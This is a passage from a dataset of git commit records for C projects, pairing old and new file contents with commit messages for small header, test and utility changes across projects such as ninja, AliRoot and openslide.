char ea_name[BUFSIZ];\n  char *name, *value, *file;\n\n  name  = argv[1];\n  value = argv[2];\n  file  = argv[3];\n\n  snprintf(ea_name, BUFSIZ, \"user.%s\", name);\n\n  if (setxattr(file, ea_name, value, strlen(ea_name), 0) == -1) {\n    pexit(\"setxattr\");\n  }\n\n  exit(EXIT_SUCCESS);\n}\n\nstatic void\nhelpAndLeave(const char *progname, int status) {\n  FILE *stream = stderr;\n\n  if (status == EXIT_SUCCESS) {\n    stream = stdout;\n  }\n\n  fprintf(stream, \"Usage: %s <name> <value> <file>\\n\", progname);\n  exit(status);\n}\n\nstatic void\npexit(const char *fCall) {\n  perror(fCall);\n  exit(EXIT_FAILURE);\n}\n","subject":"Add or replace user extended attributes on a file.","message":"Add or replace user extended attributes on a file.\n\nChapter 16, exercise 1.\n","lang":"C","license":"mit","repos":"rmascarenhas\/lpi"}
{"commit":"15828d06faf35837ae1efe22ac5ec05692af2521","old_file":"buzzLockU.h","new_file":"buzzLockU.h","old_contents":"#include <sys\/types.h>\n#include <pthread.h>\n#include \"vendor\/simclist.h\"\n\n#ifndef BUZZLOCK_H_\n#define BUZZLOCK_H_\n\n#define BZZ_BLACK 1\n#define BZZ_GOLD  0\n\ntypedef int useconds_t;\n\ntypedef struct {\n\tpid_t id;\n\tint color;\n\tdouble waiting_since;\n} bzz_thread_t;\n\ntypedef struct {\n\tpthread_mutex_t mutex;\n\tpthread_cond_t  cond;\n\tint max_active_threads;\n\tint active_threads;\n\tuseconds_t timeout;\n\tlist_t threads;\n\tlist_t waiting_gold_threads;\n\tlist_t waiting_black_threads;\n} bzz_t;\n\n#include \"buzz.h\"\n\nvoid* get_thread(int, bzz_t);\nint full_active_threads(bzz_t);\nint is_black(bzz_thread_t*);\nint is_gold(bzz_thread_t*);\nint is_old(bzz_thread_t*, bzz_t);\nvoid add_to_waiting_threads(bzz_thread_t*, bzz_t);\nvoid wait(bzz_t);\ndouble time_with_usec();\nunsigned int num_black_waiting(bzz_t);\nunsigned int num_gold_waiting(bzz_t);\nunsigned int num_old_gold_waiting(bzz_t);\nvoid add_active(bzz_thread_t*, bzz_t);\n#endif\n","new_contents":"#include <sys\/types.h>\n#include <unistd.h>\n#include <pthread.h>\n#include \"vendor\/simclist.h\"\n\n#ifndef BUZZLOCK_H_\n#define BUZZLOCK_H_\n\n#define BZZ_BLACK 1\n#define BZZ_GOLD  0\n\ntypedef struct {\n\tpid_t id;\n\tint color;\n\tdouble waiting_since;\n} bzz_thread_t;\n\ntypedef struct {\n\tpthread_mutex_t mutex;\n\tpthread_cond_t  cond;\n\tint max_active_threads;\n\tint active_threads;\n\tuseconds_t timeout;\n\tlist_t threads;\n\tlist_t waiting_gold_threads;\n\tlist_t waiting_black_threads;\n} bzz_t;\n\n#include \"buzz.h\"\n\nvoid* get_thread(int, bzz_t);\nint full_active_threads(bzz_t);\nint is_black(bzz_thread_t*);\nint is_gold(bzz_thread_t*);\nint is_old(bzz_thread_t*, bzz_t);\nvoid add_to_waiting_threads(bzz_thread_t*, bzz_t);\nvoid wait(bzz_t);\ndouble time_with_usec();\nunsigned int num_black_waiting(bzz_t);\nunsigned int num_gold_waiting(bzz_t);\nunsigned int num_old_gold_waiting(bzz_t);\nvoid add_active(bzz_thread_t*, bzz_t);\n#endif\n","subject":"Use typedef of useconds_t in unistd","message":"Use typedef of useconds_t in unistd\n","lang":"C","license":"mit","repos":"skalnik\/3210-project-2"}
{"commit":"ece2d63323bde9fd89956193167e09708802d73c","old_file":"src\/util.h","new_file":"src\/util.h","old_contents":"\/\/ Copyright 2011 Google Inc. All Rights Reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef NINJA_UTIL_H_\n#define NINJA_UTIL_H_\n#pragma once\n\n#include <string>\n\n\/\/ Dump a backtrace to stderr.\n\/\/ |skip_frames| is how many frames to skip;\n\/\/ DumpBacktrace implicitly skips itself already.\nvoid DumpBacktrace(int skip_frames);\n\n\/\/ Log a fatal message, dump a backtrace, and exit.\nvoid Fatal(const char* msg, ...);\n\n\/\/ Canonicalize a path like \"foo\/..\/bar.h\" into just \"bar.h\".\nbool CanonicalizePath(std::string* path, std::string* err);\n\n#endif  \/\/ NINJA_UTIL_H_\n","new_contents":"\/\/ Copyright 2011 Google Inc. All Rights Reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef NINJA_UTIL_H_\n#define NINJA_UTIL_H_\n#pragma once\n\n#include <string>\n\n\/\/ Log a fatal message, dump a backtrace, and exit.\nvoid Fatal(const char* msg, ...);\n\n\/\/ Canonicalize a path like \"foo\/..\/bar.h\" into just \"bar.h\".\nbool CanonicalizePath(std::string* path, std::string* err);\n\n#endif  \/\/ NINJA_UTIL_H_\n","subject":"Remove the declaration of DumpBacktrace.","message":"Remove the declaration of DumpBacktrace.\n\nThis function was removed on 01880fb3a2a13f9071e9729c3a13752846828ed2.\n","lang":"C","license":"apache-2.0","repos":"synaptek\/ninja,rjogrady\/ninja,maximuska\/ninja,dabrahams\/ninja,yannicklm\/ninja,hnney\/ninja,ninja-build\/ninja,dendy\/ninja,sorbits\/ninja,Ju2ender\/ninja,sgraham\/ninja,liukd\/ninja,purcell\/ninja,metti\/ninja,tychoish\/ninja,jimon\/ninja,justinsb\/ninja,nocnokneo\/ninja,dendy\/ninja,dabrahams\/ninja,jimon\/ninja,dabrahams\/ninja,dorgonman\/ninja,sxlin\/dist_ninja,ukai\/ninja,pathscale\/ninja,LuaDist\/ninja,mgaunard\/ninja,lizh06\/ninja,curinir\/ninja,juntalis\/ninja,chenyukang\/ninja,jimon\/ninja,maximuska\/ninja,nornagon\/ninja,tfarina\/ninja,iwadon\/ninja,mathstuf\/ninja,pcc\/ninja,dpwright\/ninja,mdempsky\/ninja,ilor\/ninja,mutac\/ninja,ndsol\/subninja,purcell\/ninja,chenyukang\/ninja,martine\/ninja,jsternberg\/ninja,okuoku\/ninja,justinsb\/ninja,tfarina\/ninja,ikarienator\/ninja,SByer\/ninja,automeka\/ninja,PetrWolf\/ninja,PetrWolf\/ninja-main,jendrikillner\/ninja,Maratyszcza\/ninja-pypi,glensc\/ninja,nocnokneo\/ninja,martine\/ninja,ilor\/ninja,bmeurer\/ninja,tychoish\/ninja,mohamed\/ninja,Qix-\/ninja,nafest\/ninja,kissthink\/ninja,jhanssen\/ninja,automeka\/ninja,maruel\/ninja,autopulated\/ninja,nocnokneo\/ninja,maruel\/ninja,TheOneRing\/ninja,ehird\/ninja,fifoforlifo\/ninja,nornagon\/ninja,bmeurer\/ninja,Maratyszcza\/ninja-pypi,iwadon\/ninja,vvvrrooomm\/ninja,lizh06\/ninja,kimgr\/ninja,atetubou\/ninja,sxlin\/dist_ninja,dorgonman\/ninja,ikarienator\/ninja,mgaunard\/ninja,pck\/ninja,rnk\/ninja,jsternberg\/ninja,ikarienator\/ninja,sgraham\/ninja,pck\/ninja,vvvrrooomm\/ninja,curinir\/ninja,ThiagoGarciaAlves\/ninja,bradking\/ninja,ehird\/ninja,rnk\/ninja,metti\/ninja,maruel\/ninja,PetrWolf\/ninja-main,TheOneRing\/ninja,jendrikillner\/ninja,mydongistiny\/ninja,tfarina\/ninja,AoD314\/ninja,mdempsky\/ninja,rnk\/ninja,okuoku\/ninja,ndsol\/subninja,kissthink\/ninja,PetrWolf\/ninja,ThiagoGarciaAlves\/ninja,metti\/ninja,barak\/ninja,ninja-build\/ninja,ctiller\/ninja,dpwright\/ninja,drbo\/ninja,syntheticpp\/ninja,iwadon\/ninja,atetubou\/ninja,nico\/ninja,bradking\/ninja,nornagon\/ninja,autopulated\/ninja,fifoforlifo\/ninja,kissthink\/ninja,mohamed\/ninja,nickhutchinson\/ninja,kissthink\/ninja,kimgr\/ninja,pcc\/ninja,drbo\/ninja,okuoku\/ninja,ThiagoGarciaAlves\/ninja,SByer\/ninja,nickhutchinson\/ninja,autopulated\/ninja,ctiller\/ninja,PetrWolf\/ninja,ikarienator\/ninja,juntalis\/ninja,colincross\/ninja,chenyukang\/ninja,martine\/ninja,nafest\/ninja,mutac\/ninja,vvvrrooomm\/ninja,PetrWolf\/ninja-main,hnney\/ninja,tfarina\/ninja,ukai\/ninja,sgraham\/ninja,martine\/ninja,nicolasdespres\/ninja,ctiller\/ninja,ignatenkobrain\/ninja,mydongistiny\/ninja,autopulated\/ninja,ehird\/ninja,dpwright\/ninja,rnk\/ninja,okuoku\/ninja,dorgonman\/ninja,Maratyszcza\/ninja-pypi,LuaDist\/ninja,PetrWolf\/ninja-main,rjogrady\/ninja,Ju2ender\/ninja,yannicklm\/ninja,TheOneRing\/ninja,tychoish\/ninja,ilor\/ninja,bmeurer\/ninja,ilor\/ninja,AoD314\/ninja,cipriancraciun\/ninja,Qix-\/ninja,mohamed\/ninja,jimon\/ninja,PetrWolf\/ninja,nico\/ninja,mathstuf\/ninja,ndsol\/subninja,juntalis\/ninja,automeka\/ninja,mohamed\/ninja,nafest\/ninja,yannicklm\/ninja,ninja-build\/ninja,mydongistiny\/ninja,nafest\/ninja,mgaunard\/ninja,syntheticpp\/ninja,glensc\/ninja,sorbits\/ninja,dendy\/ninja,Maratyszcza\/ninja-pypi,purcell\/ninja,pathscale\/ninja,Qix-\/ninja,drbo\/ninja,ThiagoGarciaAlves\/ninja,atetubou\/ninja,moroten\/ninja,jhanssen\/ninja,pathscale\/ninja,curinir\/ninja,iwadon\/ninja,synaptek\/ninja,fifoforlifo\/ninja,nornagon\/ninja,ignatenkobrain\/ninja,syntheticpp\/ninja,juntalis\/ninja,colincross\/ninja,mutac\/ninja,hnney\/ninja,justinsb\/ninja,lizh06\/ninja,syntheticpp\/ninja,LuaDist\/ninja,cipriancraciun\/ninja,ninja-build\/ninja,synaptek\/ninja,vvvrrooomm\/ninja,bradking\/ninja,mdempsky\/ninja,Ju2ender\/ninja,mgaunard\/ninja,atetubou\/ninja,glensc\/ninja,nicolasdespres\/ninja,nicolasdespres\/ninja,glensc\/ninja,chenyukang\/ninja,guiquanz\/ninja,ignatenkobrain\/ninja,colincross\/ninja,SByer\/ninja,jsternberg\/ninja,mathstuf\/ninja,dpwright\/ninja,ctiller\/ninja,nico\/ninja,pcc\/ninja,guiquanz\/ninja,maximuska\/ninja,maruel\/ninja,sorbits\/ninja,ignatenkobrain\/ninja,jendrikillner\/ninja,kimgr\/ninja,pathscale\/ninja,synaptek\/ninja,tychoish\/ninja,mathstuf\/ninja,dendy\/ninja,Qix-\/ninja,guiquanz\/ninja,jhanssen\/ninja,Ju2ender\/ninja,fuchsia-mirror\/third_party-ninja,ukai\/ninja,pck\/ninja,curinir\/ninja,dorgonman\/ninja,SByer\/ninja,mdempsky\/ninja,drbo\/ninja,rjogrady\/ninja,nicolasdespres\/ninja,hnney\/ninja,sxlin\/dist_ninja,yannicklm\/ninja,ehird\/ninja,liukd\/ninja,ndsol\/subninja,cipriancraciun\/ninja,jendrikillner\/ninja,LuaDist\/ninja,sxlin\/dist_ninja,fuchsia-mirror\/third_party-ninja,sorbits\/ninja,bmeurer\/ninja,AoD314\/ninja,colincross\/ninja,jhanssen\/ninja,fifoforlifo\/ninja,jsternberg\/ninja,metti\/ninja,barak\/ninja,liukd\/ninja,fuchsia-mirror\/third_party-ninja,barak\/ninja,mydongistiny\/ninja,nocnokneo\/ninja,sxlin\/dist_ninja,liukd\/ninja,sxlin\/dist_ninja,mutac\/ninja,guiquanz\/ninja,AoD314\/ninja,moroten\/ninja,moroten\/ninja,nico\/ninja,pck\/ninja,maximuska\/ninja,sxlin\/dist_ninja,pcc\/ninja,lizh06\/ninja,fuchsia-mirror\/third_party-ninja,kimgr\/ninja,justinsb\/ninja,bradking\/ninja,moroten\/ninja,ukai\/ninja,cipriancraciun\/ninja,barak\/ninja,purcell\/ninja,nickhutchinson\/ninja,automeka\/ninja,dabrahams\/ninja,sgraham\/ninja,TheOneRing\/ninja,rjogrady\/ninja,nickhutchinson\/ninja"}
{"commit":"efec94aee0e0c8805645572b73dee3358abb0aac","old_file":"Category\/UIKit\/UIKitCategory.h","new_file":"Category\/UIKit\/UIKitCategory.h","old_contents":"\/\/\n\/\/  UIKitCategory.h\n\/\/  WWCategory\n\/\/\n\/\/  Created by ww on 2016. 1. 10..\n\/\/  Copyright © 2016년 Won Woo Choi. All rights reserved.\n\/\/\n\n#import \"UIApplication+Keyboard.h\"\n#import \"UIBezierPath+Drawing.h\"\n#import \"UIColor+CreateColor.h\"\n#import \"UIImage+CreateImage.h\"\n#import \"UIImage+ImageProcessing.h\"\n#import \"UIImageView+CreateImageView.h\"\n#import \"UIScreen+Size.h\"\n#import \"UIStoryboard+GetInstance.h\"\n#import \"UITextField+Color.h\"\n#import \"UIView+Capture.h\"\n#import \"UIView+Rounding.h\"\n","new_contents":"\/\/\n\/\/  UIKitCategory.h\n\/\/  WWCategory\n\/\/\n\/\/  Created by ww on 2016. 1. 10..\n\/\/  Copyright © 2016년 Won Woo Choi. All rights reserved.\n\/\/\n\n#import \"UIApplication+Keyboard.h\"\n#import \"UIApplication+TopmostViewController.h\"\n#import \"UIBarButtonItem+Block.h\"\n#import \"UIBezierPath+Drawing.h\"\n#import \"UIButton+Align.h\"\n#import \"UICollectionView+Register.h\"\n#import \"UIColor+CreateColor.h\"\n#import \"UIImage+CreateImage.h\"\n#import \"UIImage+ImageProcessing.h\"\n#import \"UIImageView+CreateImageView.h\"\n#import \"UIScreen+Size.h\"\n#import \"UIStoryboard+GetInstance.h\"\n#import \"UITableView+Register.h\"\n#import \"UITextField+Color.h\"\n#import \"UIView+Capture.h\"\n#import \"UIView+Rounding.h\"\n#import \"UIViewController+Present.h\"\n","subject":"Add category headers to global header.","message":"Add category headers to global header.\n","lang":"C","license":"mit","repos":"wonwoooochoi\/WWCategory"}
{"commit":"5f955a6888dec963c35283899fd2b2f47f776466","old_file":"src\/sail\/game_struct.h","new_file":"src\/sail\/game_struct.h","old_contents":"","new_contents":"\/*\n * Copyright (C) 2015 Luke San Antonio\n * All rights reserved.\n *\/\n#pragma once\n#include \"..\/common\/id_map.hpp\"\n#include \"boat.h\"\n#include \"..\/collisionlib\/motion.h\"\nnamespace redc { namespace sail\n{\n  struct Player\n  {\n    std::string name;\n    bool spawned;\n\n    Hull_Desc boat_config;\n    collis::Motion boat_motion;\n  };\n\n  struct Game\n  {\n    ID_Map<Player> players;\n  };\n} }\n","subject":"Add unified state of the game","message":"Add unified state of the game\n","lang":"C","license":"bsd-3-clause","repos":"RedCraneStudio\/redcrane-engine,RedCraneStudio\/redcrane-engine,RedCraneStudio\/redcrane-engine,RedCraneStudio\/redcrane-engine"}
{"commit":"b502a1ea2f1c9735c7af7d67e275532437eb539f","old_file":"inet_ntop.c","new_file":"inet_ntop.c","old_contents":"\/**\n * \\file inet_ntop\n * inet_ntop emulation based on inet_ntoa.\n * \\author Matthias Andree\n * \n *\/\n#include \"config.h\"\n#ifndef HAVE_INET_NTOP\n#include \"leafnode.h\"\n#include \"mastring.h\"\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <netinet\/in.h>\n#include <arpa\/inet.h>\n#include <errno.h>\n\n#ifdef WITH_DMALLOC\n#include <dmalloc.h>\n#endif\n\n#include <string.h>\n\nconst char *\ninet_ntop(int af, const void *s, char *dst, int x)\n{\n    switch (af) {\n    case AF_INET:\n\tmastrncpy(dst, inet_ntoa(*(const struct in_addr *)s), x);\n\treturn dst;\n\tbreak;\n    default:\n\terrno = EINVAL;\n\treturn 0;\n\tbreak;\n    }\n}\n#endif\n","new_contents":"\/**\n * \\file inet_ntop\n * inet_ntop emulation based on inet_ntoa.\n * \\author Matthias Andree\n * \n *\/\n#include \"config.h\"\n#if !HAVE_INET_NTOP\n#include \"leafnode.h\"\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <netinet\/in.h>\n#include <arpa\/inet.h>\n#include <errno.h>\n\n#include <string.h>\n\nconst char *\ninet_ntop(int af, const void *s, char *dst, int x)\n{\n    switch (af) {\n    case AF_INET:\n\tstrncpy(dst, inet_ntoa(*(const struct in_addr *)s), x);\n\tif (x) dst[x-1] = '\\0';\n\treturn dst;\n\tbreak;\n    default:\n\terrno = EINVAL;\n\treturn 0;\n\tbreak;\n    }\n}\n#endif\n","subject":"Drop dmalloc.h, not needed. Drop dmalloc.h, not needed. Use strncpy for portability, we do not want this function to rely on mastring.","message":"Drop dmalloc.h, not needed.\nDrop dmalloc.h, not needed.\nUse strncpy for portability, we do not want this function to rely on\nmastring.\n","lang":"C","license":"lgpl-2.1","repos":"BackupTheBerlios\/leafnode,BackupTheBerlios\/leafnode,BackupTheBerlios\/leafnode,BackupTheBerlios\/leafnode"}
{"commit":"961e242c923ee1064fcdda28e7cb0d56c3da27f8","old_file":"misc\/read-region.c","new_file":"misc\/read-region.c","old_contents":"","new_contents":"\/* Test program to make a single openslide_read_region() call and write the\n   result as a PPM. *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <inttypes.h>\n#include <assert.h>\n#include <openslide.h>\n\nint main(int argc, char **argv) {\n  if (argc != 7) {\n    printf(\"Arguments: slide out.ppm x y w h\\n\");\n    return 1;\n  }\n\n  char *slide = argv[1];\n  char *out = argv[2];\n  int64_t x = atoi(argv[3]);\n  int64_t y = atoi(argv[4]);\n  int64_t w = atoi(argv[5]);\n  int64_t h = atoi(argv[6]);\n\n  uint32_t *buf = malloc(w * h * 4);\n  openslide_t *osr = openslide_open(slide);\n  assert(osr != NULL);\n  openslide_read_region(osr, buf, x, y, 0, w, h);\n  assert(openslide_get_error(osr) == NULL);\n  openslide_close(osr);\n\n  FILE *fp;\n  fp = fopen(out, \"w\");\n  assert(fp != NULL);\n  fprintf(fp, \"P6\\n# Extraneous comment\\n%\"PRIu64\" %\"PRIu64\" 255\\n\", w, h);\n  for (y = 0; y < h; y++) {\n    for (x = 0; x < w; x++) {\n      uint32_t sample = buf[y * h + x];\n      \/\/ undo premultiplication, more or less\n      double alpha = ((sample >> 24) ?: 1) \/ 255.0;\n      uint8_t pixel[3] = {\n        ((sample >> 16) & 0xff) \/ alpha,\n        ((sample >> 8) & 0xff) \/ alpha,\n        (sample & 0xff) \/ alpha,\n      };\n      fwrite(pixel, 1, sizeof(pixel), fp);\n    }\n  }\n  fclose(fp);\n  free(buf);\n}\n","subject":"Add program for testing large openslide_read_region() calls","message":"Add program for testing large openslide_read_region() calls\n\nUse nip2 to read the output.\n","lang":"C","license":"lgpl-2.1","repos":"openslide\/openslide,openslide\/openslide,openslide\/openslide,openslide\/openslide"}
{"commit":"58f00f52de054b44bec79497e33805f57d8bc8e5","old_file":"EVGEN\/AliDecayer.h","new_file":"EVGEN\/AliDecayer.h","old_contents":"#ifndef ALI_DECAYER__H\n#define ALI_DECAYER__H\n\/* Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n * See cxx source for full Copyright notice                               *\/\n\n\/* $Id$ *\/\n\n#include \"RVersion.h\"\n#include \"TVirtualMCDecayer.h\"\n\ntypedef TVirtualMCDecayer AliDecayer;\n\n#if ROOT_VERSION_CODE >= 197633  \/\/Corresponds to Root v3-04-01\ntypedef enum \n{\n    kSemiElectronic, kDiElectron, kSemiMuonic, kDiMuon,\n    kBJpsiDiMuon, kBJpsiDiElectron, \n    kBPsiPrimeDiMuon, kBPsiPrimeDiElectron, kPiToMu, kKaToMu, \n    kNoDecay, kHadronicD, kOmega, kPhiKK, \n    kAll, kNoDecayHeavy, kHardMuons, kBJpsi,\n    kWToMuon,kWToCharm, kWToCharmToMuon\n} Decay_t;\n#endif\n\n#endif \/\/ALI_DECAYER__H\n\n","new_contents":"#ifndef ALI_DECAYER__H\n#define ALI_DECAYER__H\n\/* Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n * See cxx source for full Copyright notice                               *\/\n\n\/* $Id$ *\/\n\n#include \"RVersion.h\"\n#include \"TVirtualMCDecayer.h\"\n\ntypedef TVirtualMCDecayer AliDecayer;\n\n#if ROOT_VERSION_CODE >= 197633  \/\/Corresponds to Root v3-04-01\ntypedef enum \n{\n    kSemiElectronic, kDiElectron, kSemiMuonic, kDiMuon,\n    kBJpsiDiMuon, kBJpsiDiElectron, \n    kBPsiPrimeDiMuon, kBPsiPrimeDiElectron, kPiToMu, kKaToMu, \n    kNoDecay, kHadronicD, kOmega, kPhiKK, \n    kAll, kNoDecayHeavy, kHardMuons, kBJpsi,\n    kWToMuon,kWToCharm, kWToCharmToMuon, kNewTest\n} Decay_t;\n#endif\n\n#endif \/\/ALI_DECAYER__H\n\n","subject":"Test case for B0 -> mu","message":"Test case for B0 -> mu\n\n","lang":"C","license":"bsd-3-clause","repos":"jgrosseo\/AliRoot,alisw\/AliRoot,sebaleh\/AliRoot,alisw\/AliRoot,ecalvovi\/AliRoot,jgrosseo\/AliRoot,ALICEHLT\/AliRoot,coppedis\/AliRoot,mkrzewic\/AliRoot,coppedis\/AliRoot,jgrosseo\/AliRoot,ALICEHLT\/AliRoot,miranov25\/AliRoot,mkrzewic\/AliRoot,alisw\/AliRoot,ecalvovi\/AliRoot,coppedis\/AliRoot,sebaleh\/AliRoot,mkrzewic\/AliRoot,shahor02\/AliRoot,miranov25\/AliRoot,shahor02\/AliRoot,shahor02\/AliRoot,sebaleh\/AliRoot,jgrosseo\/AliRoot,coppedis\/AliRoot,shahor02\/AliRoot,ecalvovi\/AliRoot,alisw\/AliRoot,ALICEHLT\/AliRoot,alisw\/AliRoot,jgrosseo\/AliRoot,alisw\/AliRoot,shahor02\/AliRoot,coppedis\/AliRoot,sebaleh\/AliRoot,mkrzewic\/AliRoot,mkrzewic\/AliRoot,ALICEHLT\/AliRoot,coppedis\/AliRoot,miranov25\/AliRoot,alisw\/AliRoot,ALICEHLT\/AliRoot,mkrzewic\/AliRoot,shahor02\/AliRoot,ecalvovi\/AliRoot,mkrzewic\/AliRoot,coppedis\/AliRoot,sebaleh\/AliRoot,jgrosseo\/AliRoot,coppedis\/AliRoot,sebaleh\/AliRoot,shahor02\/AliRoot,alisw\/AliRoot,miranov25\/AliRoot,ALICEHLT\/AliRoot,jgrosseo\/AliRoot,ecalvovi\/AliRoot,sebaleh\/AliRoot,miranov25\/AliRoot,miranov25\/AliRoot,miranov25\/AliRoot,ecalvovi\/AliRoot,ALICEHLT\/AliRoot,ecalvovi\/AliRoot,miranov25\/AliRoot"}
{"commit":"22c56c3a03b377d21d8363f737aa2a855d892458","old_file":"arch\/mips\/oprofile\/op_impl.h","new_file":"arch\/mips\/oprofile\/op_impl.h","old_contents":"\/**\n * @file arch\/alpha\/oprofile\/op_impl.h\n *\n * @remark Copyright 2002 OProfile authors\n * @remark Read the file COPYING\n *\n * @author Richard Henderson <rth@twiddle.net>\n *\/\n\n#ifndef OP_IMPL_H\n#define OP_IMPL_H 1\n\nstruct pt_regs;\n\nextern int null_perf_irq(void);\nextern int (*perf_irq)(void);\n\n\/* Per-counter configuration as set via oprofilefs.  *\/\nstruct op_counter_config {\n\tunsigned long enabled;\n\tunsigned long event;\n\tunsigned long count;\n\t\/* Dummies because I am too lazy to hack the userspace tools.  *\/\n\tunsigned long kernel;\n\tunsigned long user;\n\tunsigned long exl;\n\tunsigned long unit_mask;\n};\n\n\/* Per-architecture configury and hooks.  *\/\nstruct op_mips_model {\n\tvoid (*reg_setup) (struct op_counter_config *);\n\tvoid (*cpu_setup) (void * dummy);\n\tint (*init)(void);\n\tvoid (*exit)(void);\n\tvoid (*cpu_start)(void *args);\n\tvoid (*cpu_stop)(void *args);\n\tchar *cpu_type;\n\tunsigned char num_counters;\n};\n\n#endif\n","new_contents":"\/**\n * @file arch\/alpha\/oprofile\/op_impl.h\n *\n * @remark Copyright 2002 OProfile authors\n * @remark Read the file COPYING\n *\n * @author Richard Henderson <rth@twiddle.net>\n *\/\n\n#ifndef OP_IMPL_H\n#define OP_IMPL_H 1\n\nextern int null_perf_irq(void);\nextern int (*perf_irq)(void);\n\n\/* Per-counter configuration as set via oprofilefs.  *\/\nstruct op_counter_config {\n\tunsigned long enabled;\n\tunsigned long event;\n\tunsigned long count;\n\t\/* Dummies because I am too lazy to hack the userspace tools.  *\/\n\tunsigned long kernel;\n\tunsigned long user;\n\tunsigned long exl;\n\tunsigned long unit_mask;\n};\n\n\/* Per-architecture configury and hooks.  *\/\nstruct op_mips_model {\n\tvoid (*reg_setup) (struct op_counter_config *);\n\tvoid (*cpu_setup) (void * dummy);\n\tint (*init)(void);\n\tvoid (*exit)(void);\n\tvoid (*cpu_start)(void *args);\n\tvoid (*cpu_stop)(void *args);\n\tchar *cpu_type;\n\tunsigned char num_counters;\n};\n\n#endif\n","subject":"Delete unneeded pt_regs forward declaration.","message":"[MIPS] Delete unneeded pt_regs forward declaration.\n\nSigned-off-by: Ralf Baechle <92f48d309cda194c8eda36aa8f9ae28c488fa208@linux-mips.org>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"a7540887e8b5cb34ee28c12bef863bad85c65b6f","old_file":"test\/Driver\/coverage.c","new_file":"test\/Driver\/coverage.c","old_contents":"\/\/ Test coverage flag.\n\/\/\n\/\/ RUN: %clang_cl -### -coverage %s -o foo\/bar.o 2>&1 | FileCheck -check-prefix=CLANG-CL-COVERAGE %s\n\/\/ CLANG-CL-COVERAGE-NOT: error:\n\/\/ CLANG-CL-COVERAGE-NOT: warning:\n\/\/ CLANG-CL-COVERAGE-NOT: argument unused\n\/\/ CLANG-CL-COVERAGE-NOT: unknown argument\n","new_contents":"\/\/ Test coverage flag.\n\/\/ REQUIRES: system-windows\n\/\/\n\/\/ RUN: %clang_cl -### -coverage %s -o foo\/bar.o 2>&1 | FileCheck -check-prefix=CLANG-CL-COVERAGE %s\n\/\/ CLANG-CL-COVERAGE-NOT: error:\n\/\/ CLANG-CL-COVERAGE-NOT: warning:\n\/\/ CLANG-CL-COVERAGE-NOT: argument unused\n\/\/ CLANG-CL-COVERAGE-NOT: unknown argument\n","subject":"Add a missing \"REQUIRES: system-windows\" to a Windows-only test.","message":"Add a missing \"REQUIRES: system-windows\" to a Windows-only test.\n\nThis un-breaks builds on other platforms. Otherwise, they fail due to warnings like:\n\nwarning: unable to find a Visual Studio installation; try running Clang from a developer command prompt [-Wmsvc-not-found]\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@317716 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"6d31cc20116485bf732cdd9e3e8d7ebaa9b24f25","old_file":"master\/basic.h","new_file":"master\/basic.h","old_contents":"\/\/Basic master parser\nextern uint8_t MODBUSParseResponseBasic( union MODBUSParser * );\n","new_contents":"\/\/Basic master parser\nextern uint8_t MODBUSParseResponseBasic( union MODBUSParser *, union MODBUSParser * );\n","subject":"Add passing of request frame to parsing functions","message":"Add passing of request frame to parsing functions\n","lang":"C","license":"mit","repos":"Jacajack\/modlib"}
{"commit":"8493cdb9c63ed7a720a4b8e6077c07fa1513659b","old_file":"test\/small2\/index1.c","new_file":"test\/small2\/index1.c","old_contents":"#include \"..\/small1\/testharness.h\"\n\n\/\/ NUMERRORS 1\n\nstruct foo {\n  int a[8];\n  int *b;\n} gfoo;\n\nstruct bar {\n  int a[8];\n  int *b;\n};\n\nint main() {\n  int * __INDEX p = & gfoo.a[2]; \/\/ Force gfoo.a to have a length\n\n  \/\/ This should be Ok, but pbar->b is gfoo.a[7]\n  struct bar *pbar = (struct bar*)&gfoo;\n\n  gfoo.a[7] = 5;\n  pbar->b = 0; \n\n  printf(\"Pointer is %lx\\n\", (unsigned long)pbar->b);\n  *(pbar->b) = 0; \/\/ERROR(1): Null\n  SUCCESS;\n}\n","new_contents":"#include \"..\/small1\/testharness.h\"\n#include \"..\/small1\/testkinds.h\"\n\n\/\/ NUMERRORS 3\n\nstruct foo {\n  int a[8];\n  int *b;\n} gfoo;\n\nstruct bar {\n  int a[8];\n  int *b;\n};\n\n#if ERROR == 2\nstruct s1 { \n  int 